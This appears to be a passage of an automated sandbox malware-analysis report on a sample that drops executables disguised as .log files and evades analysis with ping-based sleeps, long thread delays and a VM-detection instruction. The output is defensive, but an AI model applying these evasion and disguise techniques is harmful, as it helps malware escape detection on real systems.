Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost			Jump to behavior

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Memory allocated: 1160000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Memory allocated: 1AB00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Memory allocated: FF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Memory allocated: 1AA00000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\6G8OR42xrB.exe

Code function: 0_2_00007FFD9BFDEBF5 sldt word ptr [eax]

0_2_00007FFD9BFDEBF5

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 599884	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 599735	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 599110	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 598407	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 598249	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 597481	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 596248	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 595986	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 595657	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 594938	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 594219	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 593375	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 592938	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 592672	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 592313	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 592000	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 591657	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 591391	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 591094	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 590813	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 590578	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 590172	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 589813	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 589662	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 589471	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 589344	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 589157	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 589000	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 588891	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 588766	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 588656	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 588546	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 588438	Jump to behavior

Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Window / User API: threadDelayed 1941			Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Window / User API: threadDelayed 7683			Jump to behavior

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\UFPCSltu.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\oKGqYEAI.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\EdTMGdjY.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\jgLrfuER.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rBoyeGgL.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\QxRtxTzz.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\xtRXGmlA.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\KSbdxLrb.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rmOGvfrE.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\DgrEkdUd.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\nWChmqEK.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\PNcvFrhU.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\atXTKUBx.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\fTDHJsUV.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\gmAsnAGl.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\HcknqPri.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\bZrIRyWp.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hNSqvpFT.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\QBgDqFdS.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\PAqlbTkE.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\PRxDqpeG.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\qDMpIHRR.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\jKtyRpUO.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\UoIjEQAs.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\DUneVxwm.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\sKUgPnTy.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\JVzVcMcg.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LPClTLGW.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ylqndxek.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\fPizYvXj.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\JRkLjayM.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\bhbbwhxv.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\fbmaobua.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zmgFsjXy.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lQurfKCd.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WDgcDXBE.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lILYBbbX.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\BjHNOjmt.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YnWavzTi.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\tyYoAAPw.log	Jump to dropped file

Source: C:\Users\user\Desktop\6G8OR42xrB.exe TID: 7312	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 7640	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -599884s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -599735s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -599110s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -598891s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 7992	Thread sleep time: -18000000s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -598407s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -598249s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -597875s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -597688s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -597481s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -597250s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 7992	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -596875s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -596609s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -596248s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -595986s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -595657s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -594938s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -594625s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -594219s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -593735s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -593375s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -592938s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -592672s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -592313s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -592000s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -591657s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -591391s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -591094s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -590813s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -590578s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -590172s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -589813s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -589662s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -589471s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -589344s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -589157s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -589000s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -588891s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -588766s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -588656s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -588546s >= -30000s	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe TID: 8008	Thread sleep time: -588438s >= -30000s	Jump to behavior

Source: C:\Windows\System32\PING.EXE

Last function: Thread delayed

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 599884	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 599735	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 599110	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 598407	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 598249	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 597481	Jump to behavior
